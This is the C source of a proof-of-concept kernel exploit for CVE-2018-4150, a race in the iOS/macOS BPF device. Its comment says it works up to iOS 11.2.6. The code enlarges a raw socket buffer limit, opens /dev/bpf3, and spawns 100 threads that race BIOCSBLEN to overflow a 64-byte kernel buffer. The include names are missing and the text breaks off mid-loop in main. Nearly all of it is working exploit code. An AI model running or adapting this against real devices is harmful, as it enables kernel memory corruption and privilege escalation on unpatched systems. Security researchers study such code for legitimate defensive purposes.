/* * Dodgy POC for my CVE-2018-4150 bug - @cmwdotme * * Bad locking lets you use BIOCSDLT and race BIOCSBLEN to increase the length without * increasing/reallocating the buffer.. which lets you overflow ;) Should work up to iOS 11.2.6 * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static int rip_sock; static int bpf; static void init_rip_sock(void) { uint32_t maxdgram = 0; size_t len = sizeof(maxdgram); uint32_t maxdgramnew = (1024*900); size_t lennew = sizeof(maxdgram); // Set the max dgram buf to 900k if (sysctlbyname("net.inet.raw.maxdgram", &maxdgram, &len, &maxdgramnew, len) < 0) { perror("sysctl error\n"); exit(1); } rip_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); if (rip_sock == -1) { perror("socket"); exit(1); } } static void send_rip_packet(const void *packet, size_t packet_len) { struct sockaddr_in6 dest = { 0 }; dest.sin6_family = AF_INET6; memcpy(&dest.sin6_addr.s6_addr, &in6addr_loopback, sizeof(dest.sin6_addr.s6_addr)); dest.sin6_port = 0; if (sendto(rip_sock, packet, packet_len, 0, (struct sockaddr *) &dest, sizeof(dest)) != packet_len) { perror("send_rip_packet"); exit(1); } } static int lock_thread = 1; static int complete = 0; static void init_bpf() { bpf = open("/dev/bpf3", O_RDWR); if(bpf == -1) { perror("open bpf"); exit(1); } int one = 1; if(ioctl(bpf, BIOCIMMEDIATE, &one) == -1 ) { perror("ioctl BIOCIMMEDIATE"); exit(1); } } static void alloc_bpf_buffer(const char *interface) { int hlen = 64; // set buffer length to 64 if (ioctl(bpf, BIOCSBLEN, &hlen) == -1) { perror("ioctl BIOCSBLEN"); exit(1); } int blen = 0; if (ioctl(bpf, BIOCGBLEN, &blen) < 0) { perror("ioctl(BIOCGBLEN)"); } printf("attaching interface with size of %d\n", blen); struct ifreq bound_if; strcpy(bound_if.ifr_name, interface); if(ioctl(bpf, BIOCSETIF, &bound_if) == -1) { perror("ioctl BIOCSETIF"); exit(1); } } void set_bpf_length(void) { int hlen = 4096; // set buffer length to 4096. The allocated buffer length is 64. ioctl(bpf, BIOCSBLEN, &hlen); int blen = 0; ioctl(bpf, BIOCGBLEN, &blen); if(blen == hlen) { fprintf(stderr, "set length: %d and hlen: %d\n", blen, hlen); complete = 1; pthread_exit(NULL); } } void *race_detach(void *data) { while(1) { set_bpf_length(); } } int main(void) { char *interface = "en0"; #define NUM_THREADS 100 pthread_t threads[NUM_THREADS]; init_rip_sock(); init_bpf(); alloc_bpf_buffer(interface); int t=0; for(t=0;t